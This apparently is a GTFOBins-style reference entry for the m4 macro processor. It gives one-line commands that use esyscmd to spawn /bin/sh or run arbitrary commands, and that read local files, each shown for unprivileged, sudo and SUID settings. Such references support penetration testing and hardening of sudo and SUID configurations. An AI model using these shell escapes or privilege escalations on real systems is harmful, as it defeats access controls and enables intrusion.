m4

Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
echo 'esyscmd(/bin/sh 0<&2 1>&2)' | m4
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo 'esyscmd(/bin/sh 0<&2 1>&2)' | m4
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
echo 'esyscmd(/bin/sh 0<&2 1>&2)' | m4
```

Command

This executable can run non-interactive system commands.

Unprivileged
This function can be performed by any unprivileged user.
```
echo 'esyscmd(/path/to/command)' | m4
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo 'esyscmd(/path/to/command)' | m4
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
echo 'esyscmd(/path/to/command)' | m4
```

File read

This executable can read data from local files.

Unprivileged
This function can be performed by any unprivileged user.
```
m4 /path/to/input-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
m4 /path/to/input-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
m4 /path/to/input-file
```
RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.